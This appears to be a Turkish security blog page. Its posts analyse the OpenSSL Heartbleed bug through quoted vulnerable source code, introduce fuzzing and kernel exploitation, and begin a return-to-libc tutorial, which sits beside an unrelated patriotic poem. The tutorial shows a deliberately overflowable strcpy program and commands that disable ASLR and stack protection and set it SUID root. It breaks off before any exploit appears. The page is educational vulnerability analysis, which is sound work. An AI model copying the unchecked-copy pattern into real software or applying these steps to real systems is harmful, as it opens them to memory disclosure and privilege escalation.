Cumartesi, Ocak 22

Modern Bir Zafiyetin Anatomisi Vol. II

 svg

İlk seride(Modern Bir Zafiyetin Anatomisi Vol. I 22) elimizden geldiği kadar açıklamalar ve mevzunun mahiyeti hakkında bilgiler sunmaya çalıştık şimdi seriye statik kod analizi ile devam edeceğiz. Bahse konu zafiyetin nasıl oluştuğu konusunda teknik olarak aslında bir bilgimiz var ve ona ‘taşma’ diyoruz. Aslında bu SSL yapısında ‘key exchange’ dediğimiz mevzu meydana gelirken ‘alloc-dealloc’ işleminden dolayı bir taşma meydana geliyor. Yük sahibi data hedefine vardığında, hedef geriye hata mesajı olarak “memory leak(hafıza sızıntısı)” içeriği gönderiyor, böylelikle hafızada tutulan bilgilerinde açığa çıkması sağlanıyor. Zafiyetin herkesin anlayabileceği şekilde meali böyle, peki bu hafıza sızıntısı nereden kaynaklanıyor ve sebepleri nelerdir onlar üzerine konuşmakta fayda var.

C kodu üzere tanımladığımız ssl.h kütüphanesi ile birlikte zafiyet gösteren yapıları sömürgeçimiz üzere göreceğiz. Kütüphanede mevcut olan SSL yapısına bakalım;

aşğıdaki kod parçacığımızda SSL3_STATE için *s3 işaretçisi tanımlanmıştır aynı şekilde SSL_CTX ise *ctx işaretçisi olarak tanımlanmıştır.

struct SSL {
  SSL_CTX *ctx;
  SSL3_STATE *s3;
}

Yukarıda tanımlanan yapılar ile birlikte SSL kütüphanesinin read(okuma) ve write(yazma) tampon bellekleri bir alt yapı olarak tanımlanmıştır. Bu yapılar request(istek) ve response(cevap) olarak belirtilen SSL versiyonunda hayata geçmiştir. Bu yapıların kullanılmasının sebebi ise performans odaklı olmasıdır bu konuyada değineceğiz.

struct SSL_CTX {
  SSL3_BUF_FREELIST wbuf_freelist;
  SSL3_BUF_FREELIST rbuf_freelist;
}

struct SSL3_STATE {
  SSL3_BUFFER rbuf; /* read IO goes into here */
  SSL3_BUFFER wbuf; /* write IO goes into here */
  SSL3_RECORD rrec; /* each decoded record goes in here */
  SSL3_RECORD wrec; /* goes out from here */
}

tampon için tanımlanan freelist methodu yani alloc edilmiş alanların sıralı bir şekilde alloc-dealloc işlemine tabi tutulması demek oluyor.

struct SSL3_BUF_FREELIST {
  size_t chunklen;
  unsigned int len;
  SSL3_BUF_FREELIST_ENTRY *head;
}

tampon bellek mevzusu ise tam olarak burada karşımıza çıkıyor; tampon uzunluğu, kopyalanacak yer ve kalan byte sayısı bu yapı üzere tanımlanmış gözüküyor. Alloc ve dealloc fonksiyonları tampon belleğimiz üstünde kullanılmak üzere, bağlantılı fonksiyonlarla tanımlacak.

struct SSL3_BUFFER {
  unsigned char *buf; /* at least SSL3_RT_MAX_PACKET_SIZE bytes,
                       * see ssl3_setup_buffers() */
  size_t len; /* buffer size */
  int offset; /* where to 'copy from' */
  int left; /* how many bytes left */
}

SSL3_RECORD yapısı SSL3_STATE yapısının içinde tanımlanmış olan ve SSL3_STATE *s3 tarafından oluşturulmuş bir yapıdır. Bu yapı ileriki kod bloklarında da göreceğimiz üzere SSL3_STATE yapısından referansla rrec tanımına çıkarılan değerin atanması işlemi gerçekleşecektir. Yani anahtar değişimi sonrasında gönderilecek response(cevap) bu alana tanımlanacak ve o şekilde geri dönecektir.

struct SSL3_RECORD {
  /*r */ int type; /* type of record */
  /*rw*/ unsigned int length; /* How many bytes available */
  /*r */ unsigned int off; /* read/write offset into 'buf' */
  /*rw*/ unsigned char *data; /* pointer to the record data */
  /*rw*/ unsigned char *input; /* where the decode bytes are */
  /*r */ unsigned char *comp; /* only used with decompression - malloc()ed */
}

Şimdi isterseniz zafiyeti hem inceleyelim hem de bu sayede farklı bilgiler ışığında out-of-bounds(Sınırlı değer ihlali) ve overflow meseleleri üstünde duralım. Heartbleed(kanayan kalp) açığı out-of-bounds adını verdiğimiz ve verilen limit üstü bir okuma gerçekleştirildiğinde meydana gelir. Bu açık meydana gelirken haliyle yukarıda belirttiğimiz gibi bir “sızıntı” vuku bulur. Eğer bu açığa yetişmiş arkadaşlar varsa return value(geri dönen değer) değeri işte o hafızadan sızan veri oluyor, tabi farklı implementasyonları olması hasebiyle bu açığın kafa karıştırıcı olabilir lakin biz out-of-bounds konusu üzerine titreyeceğiz. Aşağıdaki kodumuz kanayan kalp zafiyetinin tetiklendiği kod blogu olarak bilinir. Bu fonksiyon heartbeat(kalp atışı) vasıtasıyla gelen TLS mesajlarının parse(ayırt edilmesi) konusunda kullanılır. Burada 2586. satırda SSL tipinde bir yapıdan atanan s işaretçisine dikkat ediyoruz, bu yapı SSL3_STATE yapısında bulunan s3 işaretçisini gösterir. s3 işaretçisi ile gösterdiğimiz yapı ise SSL3_RECORD ile rrec dizisini işaret eder. Artık p işaretçisini tanıyoruz(2586. satır), bu satır gelen ilk datayı gösterir(&s->s3->rrec.data[0]). 2588. satırda ise bir adet değişken tanımlaması yapıldı bu değişken bize 2593. satırda lazım olacak çünkü bahse konu satırda uzunluk değeri çıkarılacak ve 2588. satırda bahsettiğimiz değere ataması yapılacak. Bu uzunluk ise 2610. satırda kullanılıyor olacak şöyle ki; hafızada dönen cevaplar için belli bir alan ayırmamız gerekecek ve tam olarak bunu 2610. satırda hayata geçireceğiz. Bu satırda matematiksel olarak bir işlem yapacak olursak eğer (19+payload) gibi bir alan değeri karşımıza çıkacak ki payload mevzusunu artık biliyoruz, o gelen değerin uzunluğunu atadığımız bir değişken, artık 2611. satırda bellek tahsis işlemleri için değişken atamasını yapıyoruz. Ve geldik o her örnekte karşımıza çıkan memcpy fonksiyonu, hani ilk overflow muhabbetlerine başladığımızda strcpymemcpy vs. fonksiyonlarla uğraşmıştık evet o örnek şimdi burada :slight_smile:

ek bilgi:

SYNOPSIS
#include <string.h>

 void *
 memcpy(void *restrict dst, const void *restrict src, size_t n);

kafa karıştıcı olmasın sadece memcpy fonksiyonunun kullanım şekli konumuz tam hız devam ediyor, hafıza üstünde bir aktarım yapacağız 2616. satırda kaynak olarak pl işaretçisi hedef olarak ise bp işaretçisi gösteriliyor ek olarak yukarıda bahsettiğimiz gibi uzunluk değeri ise payload olarak görünüyor.

2584 tls1_process_heartbeat(SSL *s)
2585 {
2586   unsigned char *p = &s->s3->rrec.data[0], *pl;
2587   unsigned short hbtype;
2588   unsigned int payload;
2589   unsigned int padding = 16; /* Use minimum padding */
2590
2591   /* Read type and payload length first */
2592   hbtype = *p++;
2593   n2s(p, payload);
2594   pl = p;
2595
2596   if (s->msg_callback)
2597     s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
2598     &s->s3->rrec.data[0], s->s3->rrec.length,
2599     s, s->msg_callback_arg);
2600
2601   if (hbtype == TLS1_HB_REQUEST)
2602   {
2603     unsigned char *buffer, *bp;
2604     int r;
2605
2606   /* Allocate memory for the response, size is 1 bytes
2607   * message type, plus 2 bytes payload length, plus
2608   * payload, plus padding
2609   */
2610   buffer = OPENSSL_malloc(1 + 2 + payload + padding);
2611   bp = buffer;
2612
2613   /* Enter response type, length and copy payload */
2614   *bp++ = TLS1_HB_RESPONSE;
2615   s2n(payload, bp);
2616   memcpy(bp, pl, payload);
2617   bp += payload;
2618   /* Random padding */
2619   RAND_pseudo_bytes(bp, padding);
2620
2621   r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

Yukarıdaki kod bloğunda pl işaretçisine gelen datanın belirlenen length(uzunluk) miktarından daha fazla olduğu ve bu datanın ise memcpy fonksiyonuyla bellek üstünde taşmaya neden olduğu ve bellekteki datayı yetkisiz kullanıcıya sızdırdığını artık biliyoruz. Tabii burada derinlemesine bir analiz yapacağımız için mevzunun sadece bir tek fonksiyonla sınırlı olmadığını ve geçici hafıza tahsisi için kullandığımız(OPENSSL_malloc) fonksiyonlarıda inceleyeceğimizi unutmayalım. Haliyle destination(hedef) olarak belirlediğimiz işaretçiyi (bp) bu yolla tahsis etmiş bulunuyoruz. Haliyle memory management(hafıza yönetimi) konusunda performans odağını ön plana koyan yapının güvenlik gerekçelerini atladığını ve böyle bir zafiyetin doğduğunu anlıyoruz. Performans kaygılarından meydana gelen kod blokları daha fazla kod ve sınırları kabul etmediği gibi, işlemleri hem daha az performans gerektiren fonksiyon ve makrolara yüklemek daha cazip geliyor. Şimdi malloc fonksiyonunu incelememizde bir beis yok sanırım, devam edelim;

Bahse konu fonksiyonumuz (OPENSSL_malloc) mem.c dosya kaynaklı CRYPTO_malloc fonksiyonuna ait bir makro olarak görünüyor. CRYPTO_malloc ise farklı bir konfigürasyona sahip OPENSSL tarafından yapılandırılmış malloc_ex_func fonksiyonu ile işlev görür. Yukarıda belirttiğimiz gibi, performans odaklı bir hamle bu.

static void *(*malloc_func)(size_t) = malloc;
static void *default_malloc_ex(size_t num, const char *file, int line) { 
return malloc_func(num); }
static void *(*malloc_ex_func)(size_t, const char *file, int line) = default_malloc_ex;

Kısaca yukarıda ki fonksiyona baktığımızda malloc_ex_func fonksiyonunun malloc_func fonksiyon işaretçisini döndürdüğünü görüyoruz. Yukarıda rastladığımız OPENSSL_malloc fonksiyonumuzun malloc fonksiyonundan faydalandığını ve performans odaklı bir kaç revizyona gidildiğini her defasından söylüyoruz. Bu fonksiyonun datamızı nereye yazdığını biliyoruz lakin bu datayı nereden okuyacağımız konusunda bir fikrimiz yok. Leafsr’nin Heartbleed 3 makalesinde bahsettiği üzere sızıntıyı anlamak için freelist kayıtlarını takip etmemiz gerekiyor. Yine aynı makaleden mütevellit SSL_CTX_new fonksiyonunu ele almamız gerektiği ve bu fonksiyonun wbuf_freelist ve rbuf_freelist üyelerinin üstünde durmamız gerektiği bahsediliyor. OPENSSL_malloc fonksiyonunda geri dönen değerler bu fonksiyonun üyeleri üstünden yönetilir, bu yüzden üstünde durmakta ve zafiyeti derinlemesine incelemekte fayda var.

Leafsr Kaynak 3

1677 SSL_CTX *SSL_CTX_new(const SSL_METHOD *meth)
1678 {
...
1827 #ifndef OPENSSL_NO_BUF_FREELISTS
1828   ret->freelist_max_len = SSL_MAX_BUF_FREELIST_LEN_DEFAULT;
1829   ret->rbuf_freelist = OPENSSL_malloc(sizeof(SSL3_BUF_FREELIST));
1830   if (!ret->rbuf_freelist)
1831   goto err;
1832   ret->rbuf_freelist->chunklen = 0;
1833   ret->rbuf_freelist->len = 0;
1834   ret->rbuf_freelist->head = NULL;
1835   ret->wbuf_freelist = OPENSSL_malloc(sizeof(SSL3_BUF_FREELIST));
1836   if (!ret->wbuf_freelist)
1837   {
1838     OPENSSL_free(ret->rbuf_freelist);
1839     goto err;
1840   }
1841   ret->wbuf_freelist->chunklen = 0;
1842   ret->wbuf_freelist->len = 0;
1843   ret->wbuf_freelist->head = NULL;

Yukarıda bahse konu olan kod blokları için ise rbuf_freelist ve wbuf_freelist yapıları görülmektedir. Bu yapılar öncelikli olarak OPENSSL_malloc fonksiyonuyla çağırılmaktadır. Bu listeleri destekleyen diğer parçalar ise normal malloc fonksiyonlarıyla desteklenmektedir. Öbek freelist_insert fonksiyonuyla freelist eklenmekte ve freelist_extract fonksiyonuyla bu datalara ulaşılmaktadır. Yukarıda da görüldüğü üzere freelist_extract fonksiyonu ilk defa kullanıldığında chunklen listesi 0 olarak başlatılır.

 678 static void *
 679 freelist_extract(SSL_CTX *ctx, int for_read, int sz)
 680 {
 681   SSL3_BUF_FREELIST *list;
 682   SSL3_BUF_FREELIST_ENTRY *ent = NULL;
 683   void *result = NULL;
 684
 685   CRYPTO_w_lock(CRYPTO_LOCK_SSL_CTX);
 686   list = for_read ? ctx->rbuf_freelist : ctx->wbuf_freelist;
 687   if (list != NULL && sz == (int)list->chunklen)
 688     ent = list->head;
 689   if (ent != NULL)
 690   {
 691     list->head = ent->next;
 692     result = ent;
 693     if (--list->len == 0)
 694     list->chunklen = 0;
 695   }
 696   CRYPTO_w_unlock(CRYPTO_LOCK_SSL_CTX);
 697   if (!result)
 698     result = OPENSSL_malloc(sz);
 699   return result;
 700 }

Yukarıdaki kod blokunda öbek(chunk) isteği yapıldığında yukarıda da belirttiğimiz üzere freelist_insert işlevi devreye giriyor bahse konu openssl versiyonunu indirirseniz bu kod bloklarını incelemeniz daha fazla kolaylaşacaktır ek bilgi olarak ekleyelim bunuda. Bu işlev ilk önce, istenen boyutun chunklen listesiyle aynı olup olmadığını veya chunklen listesinin 0 olup olmadığını kontrol eder. Bu kontroller esnasında freelist_max_len ve sizeof(*ent))(SSL3_BUF_FREELIST_ENTRY) kontrolleri uygulanır. Bahse konu koşullar yerine getirildiğinde ise chunklen istenilen boyuta ayarlanabilir, ent ise eklenecek öbek(chunk) değerine atanmıştır. list->next işaretçisi list->head değişkenine ayarlanır, yani bu değişken kafaya en üste gelecek demek oluyor.

 702 static void
 703 freelist_insert(SSL_CTX *ctx, int for_read, size_t sz, void *mem)
 704 {
 705   SSL3_BUF_FREELIST *list;
 706   SSL3_BUF_FREELIST_ENTRY *ent;
 707
 708   CRYPTO_w_lock(CRYPTO_LOCK_SSL_CTX);
 709   list = for_read ? ctx->rbuf_freelist : ctx->wbuf_freelist;
 710   if (list != NULL &&
 711     (sz == list->chunklen || list->chunklen == 0) &&
 712     list->len < ctx->freelist_max_len &&
 713     sz >= sizeof(*ent))
 714     {
 715       list->chunklen = sz;
 716       ent = mem;
 717       ent->next = list->head;
 718       list->head = ent;
 719       ++list->len;
 720       mem = NULL;
 721     }
 722
 723     CRYPTO_w_unlock(CRYPTO_LOCK_SSL_CTX);
 724     if (mem)
 725       OPENSSL_free(mem);
 726 }

Makalelerin çoğunda da göreceğiniz üzere freelist fonksiyonu yazının bir kaç yerinde de bahsetmiş olduğumuz üzere performans odaklı bir çalışma olarak gözümüze çarpıyor. Yani tekrar tekrar yapılan istekleri en hızlı şekilde karşılamak ve belleği rahatlatmak üzere kurulmuş bir yapı. Heartbleed olarak geçen açığın asıl esprisi n2s(p, payload);, ssl->s3->wbuf.buf and ssl->s3->rbuf.buf işaretçileri ve buffer = OPENSSL_malloc(1 + 2 + payload + padding); ve memcpy(bp, pl, payload); kod bloğu olarak gözümüze çarpıyor. Serinin devamı niteliğinde ki bu yazıyı son olarak III. parti ile tamamlayacağız, umarım memnun kalmışsınızdır, hoşçakalın.

Hackers realize, kiddies memorize

Kaynaklar:
My heart is ok, but my eyes are bleeding | Leaf Security Research 3
Anatomy of OpenSSL's Heartbleed: Just four bytes trigger horror bug • The Register 1
CVE-2014-0160 Heartbleed Attack POC and Mass Scanner . - Blogs - Garage4hackers Forum 2
https://45h15h.files.wordpress.com/2014/07/heartbleed-poc-demo-by-0xashish.pdf 2
From Missingno to Heartbleed: Buffer Exploits and Buffer Overflows - YouTube 1
Heartbleed - Wikipedia
https://blog.cloudflare.com/answering-the-critical-question-can-you-get-private-ssl-keys-using-heartbleed/
Heartbleed Open SSL Bug FAQ & Advisory - Checkmate
*Heartbleed 漏洞分析 | 0x4C43's Blog 4
Buffer Overflow (BOF) Examples 1
Heartbleed and Static Analysis – Embedded in Academia
xkcd: Heartbleed Explanation

Cumartesi, Temmuz 10

Kahramanlık Risalesi II



O gün meydana çıktı şehadetin erleri

Hakkın sesiyle ezdi gökleri yerleri

Atıp hakkın bağrından o küfrün zulmünü

Gergefle işledi ecdadının hüsnünü


O gün gökte mahyalar gibiydi hüsn-ü beşer

Bir destanı yazmakla meşguldü gül yüzlüler

Atılıp zalimin demir ordusunun önüne

Kıblegahını çevirdiler garpın yönüne



O gün görseydiler ecdadın yiğitleri

Ah görseydiler sizi ümmü mektumun gözleri

Adem-i vücuttan ayrılırken ruhu mukaddes

Sevda ile bekleyecek Cennet-i alâda herkes


Yüzün cennet bahçesi, ruhun fatihalar yasinler

Onlar ki rahvan atlarıyla gelip, sana selam söylediler

Bir iman ki, taş toprak onu nasıl gömer ?

Faruk olan değil ama onun kadar ÖMER!


O gün yoktan var edenin adıyla haykırdı diller

Bir haykırışla uyandı sevdalı şehitler

Hilkatından söküp korkunun miskal zerresini

Tende canıyla siper etti iman kafesini



O gün semaya kalktı vuslata titreyen eller

Bir kudret ki, diz çöktüremez ebu cehiller

Sarılıp göğsünde bir cennete elleriyle

O cennet ki müjdelendi Peygamber sesiyle



O gün cennette açılırda zambaktan çiçekler

Er meydanında cenke tutuşmuş tüm şehitler

Geride bekleyen analar, Cennet kapısında Peygamber

Dillerde tekbir, iman-ı bil-kader;

Allahu Ekber,Allahu Ekber,Allahu Ekber...


Mehmet Ali Kılıç'a...

Çarşamba, Ağustos 8

Modern Bir Zafiyetin Anatomisi Vol. I


Son zamanlarda fuzzing project altında piyasaya çıkan yardımcı yazılımların davranışsal hareketlerini kısaca açıklamak istiyorum ve fuzzing project adı altında gerçekleşen uygulamaların sınıflarından bahsetmekte de fayda görüyorum. Öncelikle  Fuzzing: Brute Force Vulnerability Discovery kitabından alıntıyla fuzzing tanımı ve sınıflarını anlamak açısından kısa bir tanım yapalım;
Hedef yazılım üzerinde, girişlere tanımı yapılan belirli karakterler ile birlikte yazılımsal sorunların tespitine biz fuzzing diyoruz lakin son zamanlarda fuzzing project adı altında piyasada bulunan güvenlik araçlarının daha çok mantıksal açıklarla tanışmasıyla birlikte eski method 'stack overflow' benzeri açıkların yerini '
out-of-bounds access, use after free, type confusion, race condition' gibi yüksek derecede öneme sahip açıklar almıştır. 'Smart' ve 'Dumb' dediğimiz iki method türemiştir. Bu yüzden yukarıda belirttiğimiz sınıflara göz atmakta fayda var.
Bu açıklar white,black ve gray box testing olmak üzere 3 sınıf içinde inceleniyor. 

White Box; Kaynak kodları elinde olmakla birlikte 'blind' method olmaksızın yapılan tespitlere verilen ad.
Black Box; Kullanıcı kontrollü kaynak kod olmaksızın ve sadece input üstünde 'blind' method dediğimiz sistemle yapılan tespitlere verilen ad. Buna örnek olarak 'sql injection' denemelerini gösterebiliriz kaynak kod olmaksızın belirlenen karakterle sadece dış odaklı aramalar bu sınıfın tam tanımıdır.
Gray Box; Yukarıda tanımı yapılan her iki test aşamalarının uygulanmasına ise gray box fuzz türü diyebiliriz.


Fuzzing Project adı altında piyasaya sunulan 'Binary' bazlı uygulamalar ile birlikte bir devrim olmuş ve zaman aralığı olarak 2 yılda keşfedilen zafiyet sayısına 1 ay gibi kısa bir sürede ulaşılmıştır. Bu yüzden fuzzing project iyi tanımak, iyi anlamak ve uygulamalar üstünde süreklilik göstermek gerekir.

Linux tabanlı sistemlerde zafiyetlerin nasıl tetikleneceği ve bu zafiyetlerin alt yapısını inceleyeceğiz. Bildiğiniz üzere işletim sistemlerinde eğer bir zafiyet arayacaksanız ve dahi o zafiyeti bulduysanız tetiklemek ve o açıktan faydalanmak için o sistemlerin yapısını iyi bilmeniz gerekmektedir. Son zamanlarda çıkan yardımcı araçlarla beraber sistemlerde zafiyet tespiti, zafiyetin detaylı olarak konsept hali ve zafiyetlerin türleri kolay şekilde belirlenebilmektedir. Bunlara örnek vermek gerekirse eğer; hepimizin bildiği AFL Fuzzing, Honggfuzz, OSS-Fuzz ve piyasanın kernel bazında en iyi projesi olan Syzkaller geliyor bunlar ve bunlara benzer daha bir çok fuzzing projesi mevcut olmakla birlikte bunların yanı sıra; kasan, ktsan, kmsan ve kubsan gibi açık türünün tespitine dair ek yazılımlar geliştirilmiştir. Belirtilen yazılımlarla yüzlerce açık tespit edilmiş ve bunlardan bazıları 'exploit' edilirken bazıları için ise hızlı bir yama prosedürü uygulanmıştır.

Peki bunlar ne gibi açık türleri ve tespitleri nasıl yapılmaktadır ?


Yukarıda şematik olarak gösterilen imaj aslında Linux Kernel fuzzing için kullanılan 'Syzkaller' aracının çalışma methodu. (Bu araç ile bulunan açıklara referanslar listesinden göz gezdirebilirsiniz.)
Syzkaller aslında fuzzing ve sanitizer dediğimiz iki methodun birleşimi ile performans göstermektedir. Sadece kaynak kodlar üzerinde değil, harici bellekler ile özgün çalışmalarda da başarılı bir performans sergileyin syzkaller bu alanda şimdiye kadar geliştirilmiş en başarılı araç olarak görünüyor. USB-Exploitation denildiğinde aklıma gelen ilk makale sanırım bu olacak, çünkü etkili bir fuzzing tekniği ve fiziksel araçların kullanımıyla başarılı bir sonuç elde edilmesi bu alan ile ilgilenen kişiler için yeni fikirler ve keşifler demek olacak. Yazılımları fuzz edebilmek kadar, fuzz edilen yazılımın exploit edilebilmeside aynı ölçüde önem taşımaktadır. Kod blogları arasında bulunan her zafiyetin exploit edilemediğini anlamamız ve idrak etmemiz gerekiyor. Syzkaller ile bulunan zafiyetlerin en iyi şekilde incelenerek pratik olarak anlaşılması gerekmektedir. Size hazır POC sağlamış olması sizin o açığı sömürebileceğiniz anlamına gelmez. Linux Kernel Exploitation için bir çok adım atmanız gerekmektedir, bu adımların başında günbegün eklenen güvenlik önlemlerini aşmanızın yanı sıra o mimariyi iyi ve etkili şekilde kullanmanızda gerekir.


Neden ? Çünkü bir mimarinin nasıl bir algoritmayla çalıştığını anlayamazsanız o mimari ile ilgili fikir yürütemezsiniz. Mesela BSD mimarisinde meydana gelen bir use-after-free açığını UMA mimarisi bilmeden exploit edebilmeniz fazla imkanlı görünmüyor, aynı durum Linux ve Windows mimarilerde geçerli. Bu yüzden öncelikle exploit edeceğiniz açığın türevini, bu açığın etkileşimde olduğu kod bloğunu ve o açık türevini sömürmek için gerekli olan argümanları toplamamız gerekir. Örneğin use-after-free yahut double-free yahut null-pointer açıklarından faydalanabilmek için öncelikle bu açıkların ne işe yaradığını ve zafiyetin nasıl oluştuğunu ve nasıl tetikleneceğini bilmemiz gerekiyor. Mesela; bir use-after-free açığından faydalanmak için yukarıda belirttiğimiz üzere SL(AUO)B memory management mantığını bilmemiz gerekecek. Bunun yanı sıra Heap Spray(Sendmsg Heap Spraying) yöntemini ve SMEP & SMAP gibi güvenlik önlemlerini aşmamız gerekecek tabi bunların ROP yahut JIT gibi yöntemlerle iltisaklı olduğunu unutmamak gerekiyor. Bu yüzden sizin yerinize POC yazacak bir yazılım değil pratik olarak sizin anlayıp uyguladığınız bir yazılıma dönüşmesi gerekmektedir. Sonuçta kodları siz okumuyorsunuz ya da kod bloglarını siz incelemiyorsunuz tek yaptığınız farklı config ayarları ile birlikte belirtilen yazılımı fuzz etmek. Bu konulardan mütevellit bir kaç örnek ile konuyu genişletmekte fayda var, bunlardan birisi Heartbleed zafiyeti. Bu açık son zamanlarda görülmüş en büyük zafiyetlerden birisi olması hasebiyle ve büyük bir etki göstermesiyle adını duyurdu, OpenSSL kütüphanesinde meydana gelen bu açık ile beraber yahoo, flickr ve tumblr gibi birbirine bağlı ünlü siteleri etkilemekle beraber hassas bilgilerinde açığa çıkmasını sağladı. Peki bu açık nasıl keşfedildi ve açık keşfedilirken nelerden faydalanıldı muhakkak merak etmişsinizdir o zaman beraber gözatmakta fayda var. Devami vol. II(Heartbleed açığını detaylı incelemek ve etkilenen siteleri görmek için referans kısmını kontrol edebilirsiniz.)



Yukarıda ki resimde gördüğünüz üzere "selftls" olan bir dosya üstünde fuzzing işlemi gerçekleştiriyoruz. Bu aslında; üretilen sertifikanın handshake dediğimiz yöntemle fuzz edilmesi demektir. Bu bahsettiğimiz üzere bir memory allocator hatasından kaynaklanmaktadır. Bu hatayı detaylı olarak anlamak istiyorsanız My heart is ok, but my eyes are bleeding yazısıyla tam manasıyla vakıf olabilirsiniz. Fuzzing başlattık.



Fuzing başladıktan 21 saat sonrası AFL bir hata ile karşılaştığını belirtti. İşte tam olarak otomasyon mantığıyla çalışan fuzzing yazılımlarının görevi bu oluyor, kodları satır satır okuyan arkadaşlar için bir doğrulama yöntemi olmasının yanında "blind fuzzing" içinde ideal bir araç olmuş oluyor. Bulduğumuz bu 3 açık aslında tam olarak openssl'in "memory allocator" yapısıyla alakalı yani ortaya çıkan açık "stack-based buffer overflow" açığı. Yani siz "ssl" kullanan bir yapıya istek yaptığınızda gönderdiğiniz istek eğer "memory" aşacak bir istekse haliyle hafızada hata üretiyor. Bu gibi hatalar "alloc" edilmiş bir hafızanın taşması sonrası meydana geliyor lakin yukarıda verdiğimiz linkte göreceğiniz üzere "openssl" firması kendi "allocator" yapısını oluşturmuş ve bu yapı baştan sona sağma bir biçimde yazılımla adapte edilmiş gibi duruyor(yeni versiyonlarda rastlayamazsınız).


 Zaman ilerledikçe yapı üstünde ki hatalar artmaya devam ediyor. Bu "openssl allocator" yapısının yazılıma olan etkisi. (Biz burada 512-bit bir fuzz işlemi yapmıştık eğer bunu büyütmek isterseniz özgürsünüz bununla eşdeğer şekilde hızınızın düşeceğinide unutmayınız.) Handshake sırasında meydana gelen hataların çeşitliliği gitgide artıyor, bu "allocator" için sabit bir yapıyla gelen isteklerin 512-bit RSA olması gerektiğini düşünerek bu kadar alana sahip sabit bir alan ayırmasından ve bu alanın fazlasını karşılayamayacak esnek olmayan bir yapıya sahip olmasından kaynaklanıyor.

İlk bölüm burada bitsin, önümüzde ki bölümde açığın detaylı incelenmesi ve exploit edilmesiyle ilgili bir yazı yazacağız.


Referanslar;














Salı, Mart 1

Return-2-Libc Analiz ve Exploitation

Merhabalar hekır cemaati, teknik konuları işlemeye, gelişmeye ve geliştirmeye devam. Bugünkü mevzumuz uzun zaman önce işlediğimiz "stack buffer oveflow" konusuyla bağdaşan onun bir alt başlığı olan "NX-BIT" bypass.

Peki nedir bu "NX" diye soranları duyuyorum, isterseniz kısaca açıklayalım. Öncelikle Linux sistemlerde çalışma mantığı ve güvenlik konularında kısa bir bilginiz olması açısından ASLR ve SSP araştırmanızı öneriyorum [yakında bunlar hakkında da geniş bir pdf yazacağım] bununla beraber "NX BIT" açıklamak gerekirse şu şekilde anlatabiliriz;

"NX BIT" stack ve heap korumak amaçlı üretilmiş bir savunma sistemi olup stack diye tabir ettiğimiz programlarımızın çalışması için gerekli olan alanların güvenliğini sağlar açıklama ile mütevellit (non eXecutable) açılımı ile; yazarsın, okursun eyvallah ama çalıştırmaya çalışırsın sıkıntı büyük gibi bir açıklama yapabiliriz. Peki nasıl oluyor bu ? Şu şekilde siz bir programı derlediğinizde ki bu "gcc" ile bir "C" kodunu derlediğinizde program otomatik olarak bu önlemleri alıp ve program için ayrılmış olan ve bizimde işlem yapmamızı sağlayan stack'de bir flag eksiltir o da "eXecute" flag'dir. Bunu görsel olarak açıklamak gerekirse;

GNU_STACK SEKMESI RW yani okunabilir ve yazılabilir lakin çalıştırılamaz.(except x)
Yukarıda ki resimde de gördüğünüz üzere stack şu an sadece sadece okunabilir ve yazılabilir durumda bu şartlar altında yapmamız gereken ise Return-2-Libc methodunu uygulamak peki bu method nedir ve ne işe yarar "NX" nasıl bypasslıyor gibi soruları kısaca açıkladıktan sonra detayları internette araştırarak daha fazla bilgi sahibi olmanız dileğiyle unutmadan "NX" yukarıda da bahsettiğimiz üzere memory korumaya çalışan bir kaç kalkan yazılımlarından birisidir bu seri ile beraber hem exploitation mantığı hemde diğer sistemlerin nasıl aşılacağınıda blog ekleyeceğim. Şimdi methodu kısaca açıklayalım ve uzatmadan işlemlere geçelim;


Return-2-Libc mantığı taşıma suyla değirmeni döndürmeye benziyor, okuma ve yazma imkanı olan bir bölüme belirlenen offsetler dahilinde bir taşıma yapılarak Libc üstünde çalıştırma imkanı verildiğinde açık tetiklenmiş ve bu sayede "Privileges" yani account yetki yükseltmiş oluyor. Bu teknikte kısaca bahsedilmesi gereken bir kaç mevzudan da bahsedip sizi yapılanlarla başbaşa bırakmak istiyorum;

Öncelikle yazılımda kullanılan fonksiyonların çağrılmasıyla açık tetiklenir siz kafanıza göre şuradan ben bir printf şuradan bir puts diye açığı çağıramazsınız en nihayetinde yazılımın içinde ki fonksiyonlarla yazılımın stack bir çalışma söz konusu burada yazılımda da kullanılmış lakin protect edilmiş fonksiyonları bir nevi imece usulle çağırarak yazılımda ki açığı tetikliyoruz başlayalım.


/*bof.c*/
#include <stdio.h>
#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[500]; printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
Yukarıda ki örnek kodumuzu derlemeden önce, blog içinde okumuş arkadaşların bildiği üzere klasik işlemleri yapmamız lazım çünkü yukarıda da belirttiğimiz üzere birden çok güvenlik kalkaı var NX haricindekileri off hale getirip "root" yetkisiyle devam edelim;



$ cat "0" > /proc/sys/kernal/randomize_va_space // ASLR Etkisiz
$ gcc -fno-stack-protector -o bof bof.c
$ sudo chmod u+s bof // SUID 
$ ls -la bof
-rwsr-xr-x 1 root root 7410 bof // read-write-suid-run(rwsr)
Yukarıda ki işlemleri yaptıktan sonra son haliyle stack bri görelim;

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00670 0x00670 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00120 0x00124 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00058c 0x0804858c 0x0804858c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1
Yukarıda ki tabloda görüldüğü üzere "readelf -e bof" komutuyla genel olarak bilgileri nerede neyi çalıştıracağımızı ya da çalıştırabileceğimizi yahut okuyabileceğimizi gördük. Stack şu an read-write yani okuma ve yazma modunda lakin yazılanlar çalıştırılamaz.


$ ldd bof
linux-gate.so.1 =>  (0xb7ffe000)
